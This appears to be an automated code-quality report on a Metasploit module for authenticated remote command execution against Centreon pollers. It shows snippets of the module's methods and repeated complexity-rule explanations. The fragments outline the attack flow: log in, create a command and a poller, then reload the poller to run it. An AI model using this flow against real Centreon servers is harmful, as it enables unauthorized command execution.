File centreon_pollers_auth_rce.rb
has 290 lines of code (exceeds 250 allowed). Consider refactoring. Open
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpClient
Method initialize
has 61 lines of code (exceeds 25 allowed). Consider refactoring. Open
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Centreon Poller Authenticated Remote Command Execution',
Method execute_command
has 43 lines of code (exceeds 25 allowed). Consider refactoring. Open
def execute_command(command, _opts = {})
cmd_name = rand_text_alpha(8..42)
params = { 'p' => '60803', 'type' => '3' }
poller_name = rand_text_alpha(8..42)
Method create_new_poller
has 43 lines of code (exceeds 25 allowed). Consider refactoring. Open
def create_new_poller(poller_name, command_id)
params = { 'p' => '60901' }
print_status('Create new poller entry on the target.')
token = get_token(normalize_uri(target_uri.path, 'main.get.php'), params)
Method restart_exportation
has 38 lines of code (exceeds 25 allowed). Consider refactoring. Open
def restart_exportation(poller_id)
print_status('Reload the poller to trigger exploitation.')
token = get_token(normalize_uri(target_uri.path, 'main.get.php'), { 'p' => '60902', 'poller' => poller_id })
unless token
Method get_auth
has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring. Open
def get_auth
print_status('Sending authentication request.')
token = get_token(normalize_uri(target_uri.path, 'index.php'))
unless token.nil?
response = send_request_cgi(
- Read upRead up
Cognitive Complexity
Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.
A method's cognitive complexity is based on a few simple rules:
- Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
- Code is considered more complex for each "break in the linear flow of the code"
- Code is considered more complex when "flow breaking structures are nested"
Further reading
Method restart_exportation
has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring. Open
def restart_exportation(poller_id)
print_status('Reload the poller to trigger exploitation.')
token = get_token(normalize_uri(target_uri.path, 'main.get.php'), { 'p' => '60902', 'poller' => poller_id })
unless token
- Read upRead up
Cognitive Complexity
Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.
A method's cognitive complexity is based on a few simple rules:
- Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
- Code is considered more complex for each "break in the linear flow of the code"
- Code is considered more complex when "flow breaking structures are nested"
Further reading
Avoid too many return
statements within this method. Open
return true
Method get_command_id
has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring. Open
def get_command_id(cmd_name)
response = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'main.get.php'),
'cookie' => @cookies,
- Read upRead up
Cognitive Complexity
Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.
A method's cognitive complexity is based on a few simple rules:
- Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
- Code is considered more complex for each "break in the linear flow of the code"
- Code is considered more complex when "flow breaking structures are nested"
Further reading
Method get_poller_id
has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring. Open
def get_poller_id(poller_name)
response = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'main.get.php'),
'cookie' => @cookies,
- Read upRead up
Cognitive Complexity
Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.
A method's cognitive complexity is based on a few simple rules:
- Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
- Code is considered more complex for each "break in the linear flow of the code"
- Code is considered more complex when "flow breaking structures are nested"